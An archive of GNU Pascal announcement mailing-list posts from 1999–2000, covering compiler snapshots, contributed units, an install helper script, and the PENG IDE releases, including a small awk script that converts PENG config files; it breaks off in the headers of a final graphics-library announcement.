From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 4930 invoked from network); 7 Jun 1999 21:52:19 -0000 Received: from esmeralda.gerwinski.de (peter@194.221.119.18) by tim.gerwinski.de with SMTP; 7 Jun 1999 21:52:19 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.8.8/8.8.8) id XAA12014 for gpc-announce@gnu.de; Mon, 7 Jun 1999 23:55:57 +0200 Received: (qmail 4907 invoked from network); 7 Jun 1999 21:49:54 -0000 Received: from esmeralda.gerwinski.de (peter@194.221.119.18) by tim.gerwinski.de with SMTP; 7 Jun 1999 21:49:54 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.8.8/8.8.8) id XAA11996 for gpc-announce@gnu.de; Mon, 7 Jun 1999 23:53:31 +0200 Message-ID: <19990607235331.H287@esmeralda.gerwinski.de> Date: Mon, 7 Jun 1999 23:53:31 +0200 From: Peter Gerwinski To: gpc-announce@gnu.de Subject: New GPC snapshot Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.1i Sender: owner-gpc-announce@gnu.de Precedence: bulk Hello, folks, a new GPC snapshot is available: ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/alpha/gpc-19990607.tar.gz Source only. Nothing guaranteed. Have fun, Peter -- Peter Gerwinski, Essen, Germany, http://home.pages.de/~Peter.Gerwinski/ Maintainer GNU Pascal - http://home.pages.de/~GNU-Pascal/ - gpc-19990118 PGP key on request - 6C 94 45 BE 28 A4 96 - 0E CC E9 12 47 25 82 75 *** Vote against SPAM! ********* http://www.politik-digital.de/spam/ *** From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 5457 invoked from network); 10 Jun 1999 09:46:19 -0000 Received: from esmeralda.gerwinski.de (peter@194.221.119.18) by tim.gerwinski.de with SMTP; 10 Jun 1999 09:46:19 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.8.8/8.8.8) id LAA00519 for gpc-announce@gnu.de; Thu, 10 Jun 1999 11:51:44 +0200 Received: (qmail 5051 invoked from network); 10 Jun 1999 08:26:33 -0000 Received: from jabez.kis.keele.ac.uk (160.5.46.2) by tim.gerwinski.de with SMTP; 10 Jun 1999 08:26:33 -0000 Received: from pc06.law.keele.ac.uk ([160.5.76.32] helo=chiefpro) by jabez.kis.keele.ac.uk with smtp (Exim 2.12 #2) id 10s0Fg-0002W5-00 for gpc-announce@gnu.de; Thu, 10 Jun 1999 09:31:56 +0100 From: "Dr A A Olowofoyeku" To: gpc-announce@gnu.de Date: Thu, 10 Jun 1999 09:31:29 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Huffman compression comes to GPC! Reply-to: laa12@law.keele.ac.uk Message-Id: Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi folks! I have just completed work on an Huffman compression unit which now supports GPC. The unit exports two main (alternative) compression functions and two decompression functions. The routines are "dead easy" to use, and the compression ratio compares well with ZIP's "deflate". I have tried to make the code portable, and I believe that I have achieved this (it works fine with TP, BP, Delphi, FreePascal, and GPC). AFAIK there are no "endian" issues, but I stand corrected. Please report any bugs or portability problems to me. If you can fix any such problems, please send me a copy of the fix, so that I can merge it with the main distribution. The file can be downloaded from the "contrib" directory on agnes: ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/contrib/lhsix.zip The unit deals with the compression of single files. Happy hacking! Best regards, The Chief -------- Dr. Abimbola A. Olowofoyeku (The African Chief) Email: laa12@keele.ac.uk Homepage: http://ourworld.compuserve.com/homepages/African_Chief/ Author of: Chief's Installer Pro v5.00 for Win32 ftp://ftp.simtel.net/pub/simtelnet/win95/install/chief500.zip From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 29351 invoked from network); 16 Jun 1999 16:56:00 -0000 Received: from esmeralda.gerwinski.de (peter@194.221.119.18) by tim.gerwinski.de with SMTP; 16 Jun 1999 16:56:00 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.8.8/8.8.8) id TAA00499 for gpc-announce@gnu.de; Wed, 16 Jun 1999 19:00:53 +0200 Received: (qmail 29328 invoked from network); 16 Jun 1999 16:54:07 -0000 Received: from ujf.ujf-grenoble.fr (193.54.232.33) by tim.gerwinski.de with SMTP; 16 Jun 1999 16:54:07 -0000 Received: from spectro.ujf-grenoble.fr (spectro.ujf-grenoble.fr [193.54.234.59]) by ujf.ujf-grenoble.fr (8.8.5/8.8.5) with ESMTP id SAA19085; Wed, 16 Jun 1999 18:58:52 +0200 (MET DST) Received: from ujf-grenoble.fr (knautie.ujf-grenoble.fr [193.54.234.27]) by spectro.ujf-grenoble.fr (8.9.1a/8.8.5) with ESMTP id TAA02536; Wed, 16 Jun 1999 19:05:47 -0100 Message-ID: <376855F8.4FF9F9E1@ujf-grenoble.fr> Date: Wed, 16 Jun 1999 18:57:12 -0700 From: Maurice Lombardi X-Mailer: Mozilla 4.08 [fr] (Win16; I) MIME-Version: 1.0 To: Peter Gerwinski CC: gpc-announce@gnu.de Subject: Re: New GPC snapshot References: <19990607235331.H287@esmeralda.gerwinski.de> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-gpc-announce@gnu.de Precedence: bulk Peter Gerwinski a écrit: > a new GPC snapshot is available: ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/alpha/gpc-19990607.tar.gz I have dowloaded the corresponding djgpp binary gpc-19990607-djgpp.zip present in the subdirectory alpha/binary The bug on automake when a unit is referenced both directly and indirectly is still there (no inclusion of u.o and uu.o in the ld command). But gpc -v gives gpc-19990510, based on gcc 2.8.1 this date is before my bug report (was 0529), so what is the true date of the snapshot ? Maurice -- Maurice Lombardi Laboratoire de Spectrometrie Physique, Universite Joseph Fourier de Grenoble, BP87 38402 Saint Martin d'Heres Cedex FRANCE Tel: 33 (0)4 76 51 47 51 Fax: 33 (0)4 76 51 45 44 mailto:Maurice.Lombardi@ujf-grenoble.fr From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 9927 invoked by uid 10); 13 Aug 1999 13:58:45 -0000 Received: (from peter@localhost) by titanic.gerwinski.de (8.8.8/8.8.8) id PAA01720 for gpc-announce@gnu.de; Fri, 13 Aug 1999 15:59:57 +0200 Received: (qmail 9888 invoked by uid 10); 13 Aug 1999 13:55:27 -0000 Received: from goedel.fjf.gnu.de (goedel.fjf.gnu.de [10.1.6.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id PAA23926 for ; Fri, 13 Aug 1999 15:55:56 +0200 Date: Fri, 13 Aug 1999 15:55:56 +0200 From: Frank Heckenbach Message-Id: <38919B7D.19990813155556.FOO-5D74.frank@g-n-u.de> X-Mailer: smtphack 0.3.5 by Jan Andres To: gpc-announce@gnu.de Subject: New GPC snapshot MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=iso-8859-1 Sender: owner-gpc-announce@gnu.de Precedence: bulk Hello, folks, a new GPC snapshot is available: ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/alpha/gpc-19990813.tar.gz Source only. Nothing guaranteed. A major new feature is the support for panels (overlapping windows) in the CRT unit. For a complete list of new features and fixed bugs, please see the GPC To-Do list at: http://agnes.dida.physik.uni-essen.de/~gnu-pascal/todo.html Have fun, Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/ GPC To-Do list, latest features, fixed bugs: http://agnes.dida.physik.uni-essen.de/~gnu-pascal/todo.html From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 27400 invoked from network); 16 Sep 1999 08:52:10 -0000 Received: from esmeralda.gerwinski.de (peter@194.221.119.18) by tim.gerwinski.de with SMTP; 16 Sep 1999 08:52:10 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.8.8/8.8.8) id KAA00641 for gpc-announce@gnu.de; Thu, 16 Sep 1999 10:51:09 +0200 Received: (qmail 25844 invoked by uid 10); 16 Sep 1999 05:17:08 -0000 Received: from goedel.fjf.gnu.de (goedel.fjf.gnu.de [10.1.6.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id HAA20103 for ; Thu, 16 Sep 1999 07:14:38 +0200 Date: Thu, 16 Sep 1999 07:14:38 +0200 From: Frank Heckenbach Message-Id: <11029632.19990916071438.FOO-4E84.frank@g-n-u.de> X-Mailer: smtphack 0.3.5 by Jan Andres To: gpc-announce@gnu.de Subject: Script install-gpc-binary uploaded MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=iso-8859-1 Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi, due to recent needs, I wrote a little script to simplify the installation of a GPC *binary* distribution into *another* directory than it was intended. To explain the situation: The gpc executable uses some files (e.g. the preprocessor gpc-cccp, the actual compiler gpc1 and the runtime library libgpc.a) which are usually stored in a directory /lib/gcc-lib///. The , i.e. the base directory for the GPC installation, can be specified while building GPC, and is then hard-coded into the gpc executable. When using gpc, it can be overridden with a `-B' option (for gpc-cccp and gpc1) and a `-L' option (for libgpc.a). The purpose of the install-gpc-binary script is just to create another script which calls gpc with those two options (in addition to any options given on the command-line). It examines the installed GPC binary distribution to find out the correct directories. The script created will be called gpc, and should be in the PATH, while the actual gpc executable should not be in the PATH, so calling `gpc' will invoke the script. Then, `gpc' can be used just like a gpc installed in the normal way, which is quite useful for using third-party Makefiles etc. Who needs this script? Those who get a binary distribution of GPC and don't install it into the right directory. These are usually not PC (including Linux) users, because most of them have root access and can install GPC into the right directory. There are also usually not system administrators of multi-user machines (who have root access and usually will prefer to build their software themselves, anyway). So, these are e.g. users on multi-user machines who can't convince their admins to install GPC for them, or just need it quickly, and/or don't have enough space in their home to build GPC... How to use it? - Get a GPC binary for your system, and the install-gpc-binary script. The script is available in the same FTP directories on agnes as the GPC binaries, i.e.: ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/beta/binary/install-gpc-binary ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/alpha/binary/install-gpc-binary - Unpack the GPC binary into any directory (but don't move it around after running the script). - Change into its "base" directory -- e.g. if the archive unpacks into usr/local/bin/..., usr/local/lib/..., etc. (below the current directory), change into usr/local, or move the contents of usr/local up to the current directory. In any case, the bin and lib directories should now be subdirectories of the current directory (the script will make sure this was done correctly). - Run this script and answer a few simple questions. - That's all. If you set your $PATH appropriately, you can now invoke `gpc' in the normal way. Frank -- Frank Heckenbach, frank@g-n-u.de http://fjf.gnu.de/ PGP and GPG keys: http://fjf.gnu.de/plan From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 17524 invoked from network); 27 Sep 1999 01:15:57 -0000 Received: from esmeralda.gerwinski.de (peter@194.221.119.18) by tim.gerwinski.de with SMTP; 27 Sep 1999 01:15:57 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.8.8/8.8.8) id DAA23155 for gpc-announce@gnu.de; Mon, 27 Sep 1999 03:18:04 +0200 Received: (qmail 17498 invoked from network); 27 Sep 1999 01:14:41 -0000 Received: from 44615166.theo-phys.uni-essen.de (132.252.73.246) by tim.gerwinski.de with SMTP; 27 Sep 1999 01:14:41 -0000 Received: (from anja@localhost) by 44615166.theo-phys.uni-essen.de (8.9.3/8.9.3) id DAA07985 for gpc-announce@gnu.de; Mon, 27 Sep 1999 03:16:37 +0200 Message-ID: <19990927031632.A7960@maeh.theo-phys.uni-essen.de> Date: Mon, 27 Sep 1999 03:16:32 +0200 From: Anja Drewitz To: gpc-announce@gnu.de Subject: Mailing list archive available online Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i Sender: owner-gpc-announce@gnu.de Precedence: bulk Hello, now you can access the gpc and gpc-announce mailing list archives via the world wide web: http://www.gnu.de/archive/wilma.cgi/gpc http://www.gnu.de/archive/wilma.cgi/gpc-announce Currently, the archive dates back to June 1999 only. We are going to put earlier messages online, too, as time permits. Best wishes, Anja From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 6459 invoked from network); 1 Nov 1999 20:48:24 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 1 Nov 1999 20:48:23 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.8.8/8.8.8) id VAA07369 for gpc-announce@gnu.de; Mon, 1 Nov 1999 21:48:08 +0100 Received: (qmail 6442 invoked from network); 1 Nov 1999 20:47:40 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 1 Nov 1999 20:47:40 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.8.8/8.8.8) id VAA06693 for gpc-announce@gnu.de; Mon, 1 Nov 1999 21:47:24 +0100 Message-ID: <19991101214723.D7015@esmeralda.gerwinski.de> Date: Mon, 1 Nov 1999 21:47:23 +0100 From: Peter Gerwinski To: gpc-announce@gnu.de Subject: New GPC snapshot Mail-Followup-To: gpc-announce@gnu.de Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.1i Sender: owner-gpc-announce@gnu.de Precedence: bulk Hello, folks, a new GPC snapshot is available: ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/alpha/gpc-19991030.tar.gz As usual: Source only; nothing guaranteed. Main changes since the last snapshot (19990813): * Works with gcc-2.95.x. * In preparation for a integration into GCC, most patches to the GCC backend have been obsoleted and removed. The remaining ones will either vanish, too, or be integrated into GCC. * The set-handling routines have been re-written. Set operations are handled in the RTS and should be more stable now. * Some problems with packed arrays on big-endian machines have been solved. * `-dY' is now `--debug-source'. * New options `--[no-]transparent-file-names'. * ... and much more. Have fun, Peter -- http://home.pages.de/~Peter.Gerwinski/ - G-N-U GmbH: http://www.g-n-u.de Maintainer GNU Pascal - http://home.pages.de/~GNU-Pascal/ - gpc-19990118 GnuPG key fingerprint: 9E7C 0FC4 8A62 5536 1730 A932 9834 65DB 2143 9422 keys: ftp://ftp.gerwinski.de/pub/keys/ - AntiSpam: http://spam.abuse.net From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 5215 invoked from network); 12 Nov 1999 09:09:14 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 12 Nov 1999 09:09:14 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.8.8/8.8.8) id KAA18934 for gpc-announce@gnu.de; Fri, 12 Nov 1999 10:11:25 +0100 Received: (qmail 4307 invoked by uid 10); 12 Nov 1999 06:26:11 -0000 Received: from goedel.fjf.gnu.de (goedel.fjf.gnu.de [10.1.6.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id HAA06902; Fri, 12 Nov 1999 07:26:17 +0100 Date: Fri, 12 Nov 1999 07:26:17 +0100 From: Frank Heckenbach Message-Id: <1D00D029.19991112072617.FOO-1AF4.frank@g-n-u.de> X-Mailer: smtphack 0.3.5 by Jan Andres To: peng-list@g-n-u.de, gpc-announce@gnu.de Subject: PENG 2.0 Released MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=iso-8859-1 Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi, everybody! This is to announce the release of PENG 2.0. PENG is an Integrated Development Environment written in and for GPC. PENG 2.0 is the first version released publicly. (In case you wonder about the version number: Large parts of PENG have grown out of another application which was developed and used for several years. Therefore, I feel that version 2.0 is appropriate for this release.) PENG was written completely in Pascal and created using GPC. It is well suited for editing and compiling Pascal programs with GPC, though its functionality is not Pascal specific, and it can just as well be used for writing C, HTML, TeX, Texinfo, E-Mail or any other ASCII based format. PENG was developed and tested mainly under Linux/x86, but also under DJGPP and Solaris. The main web site of PENG is . It contains more extensive information about PENG, including the complete documentation in HTML format, as well as download facilities and a pointer to the PENG mailing list. The mailing list is the recommended place for bug reports and requests about PENG. To the beta testers: The format of the config files has not changed since the last beta release (19991028), so you can keep using them without changes. Some Highlights: * Portability. In particular, there are versions for general terminals on Unix systems, for X11, and for DJGPP. The terminal versions work naturally across telnet/rlogin/slogin between systems with the same or different terminal types, and X11 is network-transparent, anyway. * Support for multiple windows, including editing of the same file in several windows at the same time * Advanced block operations, persistent and non-persistent blocks, editable clipboard, automatic copy function * A reader for GNU Info documentation, including support for compressed info files * A paragraph mode, useful for editing mail, news, TeX, HTML, etc. * A quote protection mode for editing mail and news * Multi-level Undo/Redo capability * Lex highlighting * Autosave mode * Combines the ease of use known from some Dos IDEs with the power of Unix environments, e.g.: - Supports function keys (where available on the terminal) and file selection boxes, but also file name completion with Tab; `$' for environment variables as well as `~' and `~user' for home directories, and all the file name wildcards like `*', `?', `[^-]', `{,}' - Easy search/replace capabilities, but also regular expression searches and replacements with backreferences - Handles files with Unix or Dos line endings on both kinds of systems, without converting them automatically, but with the easy possibility to convert them explicitly at any time. - You can invoke an OS shell, but you can also suspend PENG. - You can use control characters like Control-C for cursor movement in PENG if you want, but PENG still reacts correctly to external interrupt, termination or hangup signals and saves unsaved changes whenever possible. - Readable configuration files in text format, a global one and per-user ones under Unix - Simple and numbered backup files - Lock files (compatible with vim) to prevent several editors from editing the same file at the same time - Easily accessible context-sensitive help, but in the same format (GNU Info) as used by many other programs, and easily extendable for your own tools - PENG tools can invoke external processes (e.g., compilers), but they can also fork them to run in the background while you can already go on editing your files. * Completely configurable colors. Very important. :-) * A way to open files read-only, from the menu and the command line * No mouse support. (-: Leaves the mouse to gpm and similar applications.) * Hotlist for easy access to files edited frequently * Extensive tool scripting capabilites: - Powerful syntax, similar to Unix shells - User-defined variables of several types - Many pre-defined functions for strings, regular expressions, file names, boolean values, mathematical operations on real and complex numbers, interaction with the user and control of the editor and info reader - Conditional statements - Access to a message window, suitable for GNU standard message format, but other message formats can be converted. An example converter for LaTeX messages is included. - PENG can start external processes in the background and still receive their output. Background processes can be killed easily. Very useful for long compilations. - Tools can depend on the file name of the current editor and on other conditions, to allow e.g. several versions of a similar tool by the same name for different languages/formats. - Tools can be executed automatically at the start or termination of PENG. - Many example tools, including usage of utilities like grep, syntax macros, and the compiler invocations with hotkeys familiar from other IDEs (for GPC and GCC and very similarly even for LaTeX and makeinfo), all fully customizable Have much fun with PENG, Frank -- Frank Heckenbach, frank@fjf.gnu.de http://fjf.gnu.de/ PGP and GPG keys: http://fjf.gnu.de/plan From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 7841 invoked from network); 1 Feb 2000 22:39:51 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 1 Feb 2000 22:39:51 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id XAA00362 for gpc-announce@gnu.de; Tue, 1 Feb 2000 23:40:37 +0100 Received: (qmail 7662 invoked from network); 1 Feb 2000 22:38:32 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 1 Feb 2000 22:38:31 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id XAA00341 for gpc-announce@gnu.de; Tue, 1 Feb 2000 23:39:16 +0100 Received: (from uucp@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with UUCP id XAA00231 for peter@esmeralda; Tue, 1 Feb 2000 23:33:02 +0100 Received: (qmail 5206 invoked by uid 28); 1 Feb 2000 18:26:36 -0000 Delivered-To: gpc@gerwinski.de Received: (qmail 5201 invoked from network); 1 Feb 2000 18:26:29 -0000 Received: from math.uwb.edu.pl (212.33.73.194) by tim.gerwinski.de with SMTP; 1 Feb 2000 18:26:29 -0000 Received: from math.uwb.edu.pl ([212.33.73.244]) by math.uwb.edu.pl (8.9.3/8.9.3) with ESMTP id TAA19128 for ; Tue, 1 Feb 2000 19:34:00 +0100 (MET) Message-ID: <3897265F.5D8A10DD@math.uwb.edu.pl> Date: Tue, 01 Feb 2000 19:30:55 +0100 From: Mariusz Zynel Organization: University of Bialystok X-Mailer: Mozilla 4.6 [en] (Win95; I) X-Accept-Language: en,pl MIME-Version: 1.0 To: GNU Pascal Subject: Binaries for Solaris 8 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 7bit Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi All Binaries for Solaris 8 (Sparc and Intel) are now available on: http://math.uwb.edu.pl/download/solaris8/ ftp://mizar.uwb.edu.pl/pub/misc/solaris8/ Hope someone uses it -- . Mariusz Zynel Institute of Mathematics | phone: +48 (85) 745 75 52 University of Bialystok | Akademicka 2 St | mailto:mariusz@math.uwb.edu.pl 15-267 Bialystok | Poland | http://math.uwb.edu.pl/~mariusz/ From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 24996 invoked from network); 8 Feb 2000 17:07:14 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 8 Feb 2000 17:07:14 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id SAA00395 for gpc-announce@gnu.de; Tue, 8 Feb 2000 18:09:43 +0100 Received: (qmail 22374 invoked from network); 8 Feb 2000 13:46:28 -0000 Received: from 44615166.theo-phys.uni-essen.de (132.252.73.246) by tim.gerwinski.de with SMTP; 8 Feb 2000 13:46:28 -0000 Received: (from anja@localhost) by 44615166.theo-phys.uni-essen.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id OAA07450 for gpc-announce@gnu.de; Tue, 8 Feb 2000 14:47:33 +0100 Date: Tue, 8 Feb 2000 14:47:33 +0100 From: Anja Drewitz To: gpc-announce@gnu.de Subject: List archive working again Message-ID: <20000208144733.A7417@44615166.theo-phys.uni-essen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i Sender: owner-gpc-announce@gnu.de Precedence: bulk Hello, the list archive at should be working again now. The URL is http://www.gnu.de/archive/wilma.cgi/gpc and http://www.gnu.de/archive/wilma.cgi/gpc-announce respectively. Now the pages also come in gpc signature colors. :-) Currently, the search option is working fine. If you find it broken, please email me at . Please don't mail a copy to the gpc list because I let procmail move all mails with To: gpc... and Cc: gpc... to a separate folder and would not see your mail for a long time. Best wishes, Anja From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 10932 invoked from network); 21 Feb 2000 23:28:42 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 21 Feb 2000 23:28:42 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id AAA26336 for gpc-announce@gnu.de; Tue, 22 Feb 2000 00:35:31 +0100 Received: (qmail 10854 invoked by uid 10); 21 Feb 2000 23:27:21 -0000 Received: from goedel.fjf.gnu.de (goedel.fjf.gnu.de [10.1.6.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id AAA04201; Tue, 22 Feb 2000 00:31:06 +0100 Date: Tue, 22 Feb 2000 00:31:06 +0100 From: Frank Heckenbach Message-Id: <00952C58.20000222003106.FOO-1067.frank@g-n-u.de> X-Mailer: smtphack 0.3.5 by Jan Andres To: peng-list@g-n-u.de, gpc-announce@gnu.de Subject: PENG 2.1 Released MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=iso-8859-1 Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi, everybody! This is to announce the release of PENG 2.1. PENG is an Integrated Development Environment written in and for GPC. PENG was written completely in Pascal and created using GPC. It is well suited for editing and compiling Pascal programs with GPC, though its functionality is not Pascal specific, and it can just as well be used for writing C, HTML, TeX, Texinfo, E-Mail or any other ASCII based format. PENG was developed and tested mainly under Linux/x86, but also under DJGPP and Solaris. The main web site of PENG is . It contains more extensive information about PENG, including the complete documentation in HTML format, as well as download facilities and a pointer to the PENG mailing list. The mailing list is the recommended place for bug reports and requests about PENG. The main changes since PENG 2.0 are the following. They are documented in more detail in PENG's online help. - Some minor bug fixes and improvements in some details - Made some aspects of the "look and feel" easier and more consistent - PENG also accepts long options on the command line now - PENG's example tools and variables are now built into PENG, and their documentation was merged into the PENG manual. The built-in tools and variables can be dumped to a file with the `-d' or `--dump-tools' option, and their automatic use can be suppressed with the `-N' or `--no-builtin-tools' option, so PENG's tools and variables remain fully customizable. - Support for progress messages and a progress bar while running tools - Lex highlighting for different languages, case sensitive or insensitive - Speeded up the opening of info files without tag tables - `-' (non-breaking space) now also works under X11 and DJGPP. - Deleting words with `-' now also works in string input boxes. - Easier and better customizable color selection - Menu `Options/Editor' split into two menus (`Options/Editor1' and `Options/Editor2') because it was growing too large - New option to show the line numbers in the text editor (menu items `Options/Editor1/Line numbers', `Options/Editor2/Line number width', `Options/Colors/Editor/Line number') - New tool output redirections `#p', `#P' ("parallel") - Under Linux, PENG now recognizes shifted function keys if you have new keytables (e.g. console-data-1999.xx.xx) which come with recent versions of the distributions. However, if you still have the old keytables and PENG doesn't recognize, e.g., `-' anymore, you'll have to upgrade them if you need shifted function keys (the change doesn't affect other keys, so PENG will be far from unusable even with the wrong version of keytables). Note, there are some changes which could require a few users to do some manual changes, but should be beneficial to most. First-time PENG users do not need to care about the following: - The names of the automatically loaded config files have changed. They are now `/etc/peng.conf' and `~/.peng' under Unix. Under Dos, they are `peng.ini', either in the directory `$DJDIR\etc\' (if DJGPP is installed) or in the directory where `peng.exe' is installed, and `peng.cfg', either in the directory `$HOME' (if you set the environment variable `HOME') or in the directory where `peng.exe' is installed. - Since PENG's example tools and variables are now built into PENG, if you installed the `pengrc' file before, please delete it now, to avoid confusion. If you made changes to the file, you might have to extract them to a new config file. - Since the documentation of the built-in tools was merged into PENG's manual, if you installed pengtools.info before, please delete it now to avoid confusion. - The `viewdvi' script is no more needed. Its functionality has been included into the respective PENG tools itself. If you installed the script before, you can delete it now, but you can as well keep it if you like. If you made changes to the script, you'll have to change the respective PENG tools now. - PENG's color selection has been extended. On the one hand, there are more colors to choose, so you can customize your colors in more detail (e.g., different colors for the main menu and submenus if you like). On the other hand, most colors now can be unselected (and many are unselected by default), and PENG will automatically use the next appropriate one then. E.g., the colors for the main menu are unselected by default, and PENG will use the same colors as for submenus by default. Similarly, the backgound color of most items in the text editor now defaults to that of normal text, so you can change the background in a single place rather than having to change several items. More details can be found in the online help for `Options/Colors'. While all this will make your color selection easier and better customizable, it might change your previous color selections slightly because of unexpected influence of the "next" color mechanism. This should be easy to correct by setting the right colors. Furthermore, this change required slight changes to PENG's config file format. You can convert your old config files with the script below. If you don't want to do it (e.g., because you don't have awk and you're too lazy to install it ;-), you can load the old config files and ignore the warnings. You will lose your color selections, nothing more. #!/bin/sh if [ $# == 0 ]; then echo "$0: no arguments given" >&2 exit 1 fi if test -z "$AWK" ; then for AWK in gawk nawk awk ""; do if type $AWK 2>&1 | grep 'not found' > /dev/null 2>&1; then : else break fi done fi if test -z "$AWK" ; then echo 'No awk found.' >& 2 exit 1 fi for a do if [ ! -f "$a" ]; then echo "$a does not exist" elif [ `grep -c '^ProgramVersion="[^"]*", 6' "$a"` != 1 ]; then echo "$a is not a PENG config file, version 6" else $AWK ' /^ProgramVersion=/ { sub ("=.*", "=\"PENG config converter\", 7") } /^Color Progress message=/ { sub ("^Color Progress message=", "Color Activity message=") } /^Color Editor Non breaking space=/ { sub ("^Color Editor Non breaking space=", "Color Editor Non-breaking space=") } /^Color/ { c = $0; sub ("[^=]*=", "", c); x = c; sub (",.*", "", c); sub ("[^,]*,", "", x); sub (",.*", "", x); if (c + 0 >= 0) c = sprintf ("%i, %i", c % 16, c / 16); if (x + 0 >= 0) x = sprintf ("%i, %i", x % 16, x / 16); sub ("=.*,", "=" c ", " x ",") } { print } ' < "$a" > "$a.conv" mv -f "$a.conv" "$a" echo "$a converted" fi done Have much fun with PENG, Frank -- Frank Heckenbach, frank@fjf.gnu.de http://fjf.gnu.de/ PGP and GPG keys: http://fjf.gnu.de/plan From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 15194 invoked from network); 26 Feb 2000 10:54:51 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 26 Feb 2000 10:54:51 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id LAA01018 for gpc-announce@gnu.de; Sat, 26 Feb 2000 11:59:02 +0100 Received: (qmail 2130 invoked from network); 25 Feb 2000 13:36:47 -0000 Received: from unknown (HELO nagash.example.net) (194.243.129.206) by tim.gerwinski.de with SMTP; 25 Feb 2000 13:36:47 -0000 Received: (from girardi@localhost) by nagash.example.net (8.8.8/8.8.8/Debian/GNU) id OAA00541 for gpc-announce@gnu.de; Fri, 25 Feb 2000 14:41:20 +0100 Date: Fri, 25 Feb 2000 14:41:19 +0100 From: Nicola Girardi To: gpc-announce@gnu.de Subject: Svgalib-GPC-20000216 - Graphics library for GPC Message-ID: <20000223200044.B655@pcioggi.witcom.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="SUOF0GtieIMvvwua" User-Agent: Mutt/1.0pre3i User-Agent: 